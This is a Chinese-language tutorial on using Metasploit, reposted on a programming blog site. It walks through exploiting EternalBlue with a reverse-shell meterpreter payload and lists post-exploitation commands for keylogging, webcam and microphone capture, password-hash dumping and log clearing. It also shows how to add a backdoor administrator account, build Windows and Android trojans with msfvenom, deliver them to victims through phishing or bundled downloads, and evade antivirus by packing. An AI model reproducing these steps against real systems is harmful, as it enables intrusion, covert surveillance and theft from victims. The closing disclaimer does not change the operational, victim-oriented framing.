Kali最强渗透工具- metasploit

news2024/11/16 11:36:09

数据来源

        本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。 

metasploit是什么?

        msf是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢岀漏洞和流行的 shellcode,并持续保持更新。

        netasploiti让复杂的漏洞攻击流程变的非常简单,一个电脑小白经过几小时的学习,就能对操作系统等主流漏洞发起危害性攻击。 

metasploit攻击 windows操作系统

        msfconsole:启动 metasploita命令行【命令行效率高,使用方便】

启动 metasploit 前需要做:

  • 打开ka终端
  • 使用 sudo su命令,并输入kali的密码kali,切换至root用户
  • 使用 msfdb init命令初始化 metasploit数据库(*可选) 

 

msf使用法则:

        使用模块  ->  配置模块必选项  ->  运行模块。        三步操作,就能实现对主流漏洞的攻击 

永恒之蓝漏洞:

        永恒之蓝是指2017年4月14日晚,黑客团体 ShadowBrokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用 Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了 Wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

metasploit攻击永恒之蓝全流程:

1. 使用模块

        use exploit/windows/smb/ms17_010_eternalblue

2. 设置必选项

        查看必选项【*required 为yes的就是必选项】 

        show options

或者

1. 搜索漏洞编号:

        search ms17_010       # 搜索2017年的10号漏洞永恒之蓝(微软定义),search 使用

2. 使用模块

         可以通过模块名称模块编号使用模块

        use exploit/windows/smb/ms17_010_eternalblue  # 通过模块名称使用模块

        或(选择一种方式即可)

        use 0                                                                            # 通过模块编号使用模块

 

3. 查看模块所需要的配置内容

        show options              # 可以按tab键自动补全命令,show 显示/展示   options  选项

        必选项是:yes 的就是必选设置,一些是有默认的,一些是没有默认的就需要我们添加,如目标主机状态是yes,但是当前设置时空。

实验:

        1、准备一台靶机(我这里开了一台winXP),并查看靶机的IP地址(等下用做攻击目标)

        ipconfig          # 查看本机IP地址

        ifconfig eth# kali查看IP 

 2、回到kli设置metasploit的必选项,攻击目标这些

         set  RHOSTS  192.168.0.103   # 设置目标IP地址,set  (设置)RHOSTS 目标主机的名称,代表你要攻击谁,目标主机地址也可以写一个范围如:192.168.0.103-254

 

        show options              # show 显示/展示   options  选项,查看还有什么需要设置的

        set payload windows/x64/meterpreter/reverse_tcp  # payload 是攻击载荷,就是攻击完成后想干啥,这里是想获取 meterpreter (默认就是这个)meterpreter是 metasploit 后渗透的神器 

        set LHOST 192.168.0.102          # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址默认就是kali自己的IP地址,如果你的不是那就可以修改

        set lport 10001   # 将端口设置为10001,代表你要在kali上开启的端口,1-65535随便选,但不能被占用,默认的端口是:4444,为了攻击的成功率可以改一下

        show options              # 查看配置

 3、启动运行模块,开启攻击

        命令:run

        我这里攻击失败了,原因:192.168.0.103:445-由于失败而中止利用漏洞:无目标:此模块仅支持x64(64位)目标         

开一台64位操作系统的虚拟机,继续实验

继续查看主机IP

重新设置攻击目标

     set RHOSTS 192.168.0.106   # 设置目标IP地址

 启动运行模块,开启攻击

        命令:run

     攻击成功命令行就会来到meterpreter>,这里就是拿到了目标主机的权限 

 攻击成功,拿到了对方的权限可以干嘛?可以输入:help   # 查看帮助

 核心命令

命令   

说明

?“帮助”菜单
 background 当前会话的背景
bg背景别名
bgkill杀死背景meterpreter脚本
bglist列出正在运行的后台脚本
bgrun作为后台线程执行meterpreter脚本
channel显示信息或控制活动通道
close关闭频道
detach分离meterpreter会话(对于http/https)
disable_unicode_encoding禁用unicode字符串的编码
enable_unicode_encoding启用unicode字符串的编码
exit                      终止meterpreter会话
get_timeouts获取当前会话超时值
guid获取会话guid
help                      帮助菜单
info显示有关Post模块的信息
irb在当前会话上打开交互式Ruby shell
load                      加载一个或多个meterpreter扩展
machine_id获取连接到会话的计算机的MSF id
migrate                   将服务器迁移到另一个进程
pivot管理数据透视侦听器
pry                       在当前会话上打开Pry调试器
quit                      终止meterpreter会话
read从通道读取数据
resource运行存储在文件中的命令
run执行meterpreter脚本或Post模块
secure                    (重新)协商TLV数据包加密
sessions                  快速切换到另一个会话
set_timeouts设置当前会话超时值
sleep强制仪表安静,然后重新建立会话(关机)
ssl_verify修改ssl证书验证设置
transport                 管理运输机制
use“load”的别名已弃用
uuid获取当前会话的uuid
write将数据写入通道

Stdapi:文件系统命令

命令说明
cat将文件的内容读到屏幕上
cd更改目录
checksum检索文件的校验和
cp将源复制到目标
del删除指定的文件
dir列表文件(ls的别名)
download下载文件或目录
edit          编辑文件
getlwd打印本地工作目录
getwd打印工作目录
lcat将本地文件的内容读取到屏幕

lcd

更改本地工作目录
lls列出本地文件
lpwd打印本地工作目录
ls列表文件
mkdir创建新目录
mv将源文件移动到目标
pwd打印工作目录
rm删除指定的文件
rmdir删除目录
search        搜索文件
show_mount列出所有装载点/逻辑驱动器
upload        上载文件或目

Stdapi:网络命令

命令说明
arp显示主机arp缓存
getproxy显示当前代理配置
ifconfig显示界面
ipconfig显示IP界面
netstat显示网络连接与对方开放的端口
portfwd将本地端口转发到远程服务
resolve       解析目标上的一组主机名
route查看和修改路由表

Stdapi:系统命令

命令说明
clearev清除事件日志
drop_token放弃任何活动模拟令牌。
execute       执行命令
getenv获取一个或多个环境变量值
getpid获取当前进程标识符
getprivs尝试启用当前进程可用的所有权限
getsid获取服务器正在运行的用户的SID
getuid获取服务器运行的用户
kill终止进程
localtime显示目标系统的本地日期和时间
pgrep按名称筛选进程
pkill按名称终止进程
ps列出正在运行的进程
reboot重新启动远程计算机
reg修改并与远程注册表交互
rev2self在远程计算机上调用RevertToSelf()
shell放入系统命令shell
shutdown关闭远程计算机
stealt_token尝试从目标进程中窃取模拟令牌
suspend暂停或恢复进程列表
sysinfo获取有关远程系统的信息,如操作系统

Stdapi:用户界面命令

命令说明
enumdesktops列出所有可访问的桌面和窗口工作站
getdesktop获取当前meterpreter桌面
idletime返回远程用户空闲的秒数
keyboard_send发送键击
keyevent发送按键事件
keyscan_dump转储击键缓冲区
keyscan_start开始捕获击键
keyscan_stop停止捕获击键
mouse发送鼠标事件
screenshare    共享实时监视远程用户桌面
screenshot     截图,获取交互式桌面的截图
setdesktop更改meterpreters当前桌面
uictl控制一些用户界面组件

Stdapi:正在使用网络摄像头命令

命令说明
record_mic从默认麦克风录制音频X秒
webcam_chat开始视频聊天
webcam_list列出网络摄像头
webcam_snap从指定的网络摄像机拍摄快照
webcam_stream从指定的网络摄像机播放视频流(打开摄像头)

Stdapi:音频输出命令

命令说明
play 在目标系统上播放波形音频文件(.wav)

Priv:提升命令

命令说明
getsystem尝试将您的权限提升到本地系统的权限

密码数据库命令

命令说明
hashdump转储SAM数据库的内容

Priv:时间戳命令

命令说明
timestomp操纵文件MACE属性

攻击成功后的命令使用:

        攻击成功后成功获取到对方主机的权限,上面的这操作命令直接输入到命令行使用就行了

 注意:上面表格中的命令我也没有仔细检查过,如果使用时出现报错那应该是我填错了,这时可以输入命令:

        help   # 查看帮助,按类型获取到正确的命令,也可以在下方给我留言我会及时更改。

攻击成功后的使用示例: 

        攻击成功后能做什么meterpreter是强大的后渗透模块,可以输入help查看帮助信息

        远程控制、命令执行、摄像头监控、密码获取、创建后门用户、破坏篡改系统...这些看起来非常复杂又高级的操作都能用 meterpreter中一行或几个字母,简单的命令完成

例:创建后门用户并开启远程连接

        shell

        net user zhangsan 123456 /add & net localgroup administrators zhangsan /add

        exit

        run getgul -e

1)使用Kali渗透工具生成远控木马

        想远程控制别人?msfvenom 生成远控木马了解一下

        msfvenom 是用来生成后门的软件,在目标机上执行后门,在本地监听上线。

      【* msfvenom在shell里使用,不是 msfconsole 终端】

        payload        攻击载荷 

        windows       是指微软的windows操作系统,如果目标是其他系统这里就改成其他系统名称如:Linux

        lhost               代表你是谁,既kali的IP地址

        lport              代表你要在kali上开启的端口,1-65535随便选,但不能被占用

        -f                    是指format(格式)

        exe                是windows格式文件,是指生成木马文件的文件格式,exe 和 dll(Windows 系列)、elf(Linux 系列)和 Mach-O(Mac系列)

        -o                  是指output(输出),后面跟的demo.exe是文件名,自定义随便改。

        msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo.exe 

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.89 LPORT=9988 R > /home/kali/Desktop/lanxf.apk
 

 生成木马文件示例:

        输入:exit    # 退回上一级,直到回到kali的命令行中

         msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo999.exe   # 生成木马文件

        现在文件就生成到桌面的我们可以在桌面查看文件 

         这个文件可以通过邮箱或其他社交平台发送给对方,然后对方运行了之后我们就可以对他电脑进行远程控制(不过一般情况下会被对方的杀毒软件直接杀死)如下面这样,我们直接把木马文件复制到自己的真实机,杀毒软件会自动检测并杀死。

        注意:这里是在命令行的桌面路径下输入命令所以文件默认是生成在桌面,如果想改生成文件的位置,那就把命令后面的文件名改成路径加文件名,如:/home/kali/demo999.exe   。或者使用命令:cd 路径   # 更改命令行的路径

生成木马就完事?记得在 msfconsole里开启监听,等待受害者运行上钩 

        现在有了木马文件,我们要让别人下载,俗称:“钓鱼” 

首先:制作鱼钩

        msfconsole                         # 启动 metasploita命令行

        use exploit/multi/handler   # 使用模块

        show options                        # 查看设置,查看这个模块需要配置那些选项才能使用

1)设置攻击载荷:

         set payload windows/x64/meterpreter/reverse_tcp   # 这个攻击载荷就是上面我们使用的攻击载荷

        show options                                                                  # 查看设置

 

2)设置侦听地址

        set LHOST 192.168.0.102          # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址

        show options                                                                  # 查看设置

3)设置帧听端口:

        set lport 9988   # 就是要在kali上要开启的端口,注意这里的端口要和前面生成木马文件的端口一样,我上面是用9988端口这里也要9988端口,默认的端口是4444

4)运行模块:run   # 简单理解就是把鱼钩放到河里

现在我们要做的就是等待鱼儿上钩:
方法一:我们主动将钩子摁到鱼儿上(利用漏洞)

​​​​​​​方法二:姜太公钓鱼,愿者上钩!

假设目标通过网上下载了其他软件比如啥直播、游戏之类的,然后我的木马文件也和这些软件绑定了,他也运行了,之后我们就可以对他进行些操作。

 然后输入:   help   # 查看通过这个木马文件我们能干啥,可以使用的功能和我上面列出来的命令一样

webcam_list列出网络摄像头(查看对方的电脑有没有摄像头)
webcam_stream从指定的网络摄像机播放视频流(打开摄像头)

我这里的目标是虚拟机所以这块,响应的信息是没有 

 

 

 ctrl + c 退出监控

杀毒软件会查杀怎么办?一招教你躲避火绒的探测

        最基础的免杀【*对于其他杀毒软件效果不同,具体情况请自行尝试】

捆绑木马(现在基本没效果,杀毒软件的技术更新了)

        msfvenom -p windows/64/meterpreter/reverse tcp lhost=192.168.0.102 lport=9999 -f  exe-xnotepad++. exe -o notepad++.exe    

 ​​​​​​​加壳:压缩壳、加密壳

如:Themida

使用示例:

        打开软件 

然后耐心等待加密过程,最后加密成功的界面如下,之后就可以关闭软件了。

然后可以复制到真实机上测试

         后门木马请勿随意传播,如果造成危害属于提供计算机操作系统入侵工具罪及非法入侵计算机操作系统数罪并罚。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/134291.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++GUI之wxWidgets(9)-编写应用涉及的类和方法(4)-事件处理(3)

目录动态事件处理如何处理事件事件如何向上传播事件处理程序链动态事件处理 void MyFrameHandler::OnFrameExit(wxCommandEvent&) {// Do something useful. }MyFrameHandler myFrameHandler;MyFrame::MyFrame() {Bind(wxEVT_MENU, &MyFrameHandler::OnFrameExit,&…

Java数组的定义与使用

Java数组的定义与使用 文章目录Java数组的定义与使用数组的基本概念什么是数组数组的创建数组的初始化数组的使用数组中元素访问遍历数组数组是引用类型初始JVM的内存分布基本类型变量与引用类型变量的区别引用变量几道例题认识null数组的应用场景保存数据作为函数的参数参数传…

TypeScript中的泛型

泛型(Generics)是指在定义函数、接口或类的时候,不预先指定具体的类型,而在使用的时候再指定类型的一种特性。 通常用T来指代任意输入的类型,除了T之外,以下是常见泛型变量代表的意思: K(Key…

信息安全技术 可信计算规范 可信平台控制模块 学习笔记(一)

声明 本文是学习信息安全技术 可信计算规范 可信平台控制模块. 下载地址而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 可信计算规范 缩略语 下列缩略语适用于本文件。 I/O:输入输出(Input/Output) IP&#xff1…

第三十八章 贪心算法——区间问题及证明(上)

第三十八章 贪心策略——区间相关问题一、什么贪心策略?二、区间问题合集1、思路:2、问题1: 区间选点(1)问题(2)思路和证明a.思路b.证明(3)代码3、问题2:&…

java:文件分片上传

代码下载地址&#xff1a;https://download.csdn.net/download/u013938578/87358484 1 文件上传、断点续传服务端 1.1 新建maven项目 文件结构如下&#xff1a; 1.2 引入百度开源上传组件webuploader 1.3 前端页面upload.html <!DOCTYPE html> <html lang"en&…

Java个人家乡博客源码

概述 个人博客相册家乡主题&#xff0c;用户注册后可以发布关于家乡的特色文章介绍&#xff0c;可以发布照片&#xff0c;相册管理&#xff0c;留言&#xff0c;评论&#xff0c;回复&#xff0c;收藏&#xff0c;关注 演示视频 https://www.bilibili.com/video/BV1iy4y1x7w6…

SSM框架-注解开发

11 注解开发 11.1 注解开发定义Bean 代码 接口BookDao public interface BookDao {void save(); }实现类BookDaoImpl【更改之处】 在最上面Component(“bookDao”) Component("bookDao") //或者Repository("bookDao") public class BookDaoImpl impl…

【C++】-- 哈希(上万字详细配图配代码从执行一步步讲解)

目录 哈希 常见哈希函数 除留余数法 哈希冲突 哈希冲突解决 闭散列 a、线性探测 插入 查找 删除 线性探测的实现代码 b、二次探测 二次探测的实现 开散列 开散列实现 插入 查找 删除 析构函数 代码汇总 哈希 常见哈希函数 直接定址法 -- (常用)-- 不存在哈…

2022 年博客总结

时间过的飞快&#xff0c;孩子也快4岁了&#xff0c;1号带孩子去玩雪&#xff0c;发生了一件有趣的事&#xff0c;发个视频。 带孩子玩雪我拉着闺女&#xff0c;闺女拉着儿子&#xff0c;忽略了力的作用&#xff0c;我以为只有我在使劲&#xff0c;实际上闺女需要需要更大的力拉…

java8新特性——函数式编程

文章目录1.函数式编程思想1.1概念1.2函数式编程的思想2.Lambda表达式2.1概述2.2核心原则2.3基本格式2.4Lambda表达式练习2.5省略规则3.Stream流3.1概述3.2案例准备3.3Steam流操作案例3.3.1需求3.3.2实现3.4Stream常用操作3.4.1创建stream流方式3.4.2中间操作3.4.2.1filter3.4.2…

SpringMVC 底层机制的简易实现

SpringMVC 底层机制的简易实现项目基础配置 xml 文件开发指南开发步骤1.初始化数据2.中央控制器 - 分发请求3.开发者角度4.视图解析器开发总结项目基础 <dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId&g…

【Python基础】常用数据结构及处理

1. KeyValue dict.clear() 删除字典内所有元素dict.copy()返回一个字典的浅复制[dict.fromkeys(seq, val])创建一个新字典&#xff0c;以序列 seq 中元素做字典的键&#xff0c;val 为字典所有键对应的初始值 dict.get(key, defaultNone) 返回指定键的值&#xff0c;如果值不在…

prompt模型详解之文本生成

prompt在生成方面的应用从两个方面进行介绍&#xff1a; 评估手段 具体任务 评估手段 生成任务的评估手段主要分为四种类型&#xff1a; 1). 基于N-gram匹配 2). 基于编辑距离 3). 基于词向量 4). 基于可学习方式。 本小节主要介绍BARTSCORE&#xff0c;其使用prompt方…

Python杂题

目录 一、前言 二、例题1——修剪灌木 三、例题2—— 付账问题 四、例题3——最少砝码 五、例题四——矩形拼接 六、例题五——蜂巢 一、前言 竞赛题有很多不需要什么算法的题目&#xff0c;只要学过编程语言就能做&#xff0c;其考核思维、逻辑、编码能力。而这种题有“…

【算法题解】 8. K 个一组翻转链表

文章目录题目解题思路代码实现复杂度分析题目 给你链表的头节点 head &#xff0c;每 k 个节点一组进行翻转&#xff0c;请你返回修改后的链表。 k 是一个正整数&#xff0c;它的值小于或等于链表的长度。如果节点总数不是 k 的整数倍&#xff0c;那么请将最后剩余的节点保持…

Python中编码(encode)解码(decode)讲解

嗨害大家好鸭&#xff01;我是小熊猫~ 这次也是给大家带来一点干货~ 所用素材:点击此处跳转文末名片获取 一、python3中str与unicode 在python3中&#xff0c;字符串有两种形式&#xff1a;str和bytes&#xff0c;两者区别如下&#xff1a; unicode string(str类型)&#xf…

【经验】关于区分cin、getline、cin.getline三种字符串输入的区别

cin 既可以输入char[]数组&#xff0c;也可以输入string类型&#xff0c;输入会被空格打断 cin对char进行输入 #include<bits/stdc.h> using namespace std; int main(){char ch[50];cin>>ch;cout<<strlen(ch)<<endl;for(int i0;i<strlen(ch);i){…

1.移动机器人发展现状

移动机器人主要应用场景&#xff1a; 场景1.仓储机器人(AGV自动导引运输车)&#xff1a;电商企业用户下单后机器人可以实现自动分拣和发货。需要多个传感器配合 2.自动驾驶领域(AMR自主移动机器人):车辆避让行人、导航等 热点研究领域&#xff1a; 环境感知和建模、人机交互…

2022简要总结和2023行动指南

在这辞旧迎接之际&#xff0c;心存感恩&#xff0c;放眼未来。 祝宝妈妈宝&#xff0c;幸福快乐&#xff1b; 祝国泰民安&#xff0c;政通人和。 祝百融云创系&#xff0c;生意兴隆&#xff1b; 祝公司老板们&#xff0c;大展宏图&#xff1b; 祝同事同行er&#xff0c;身…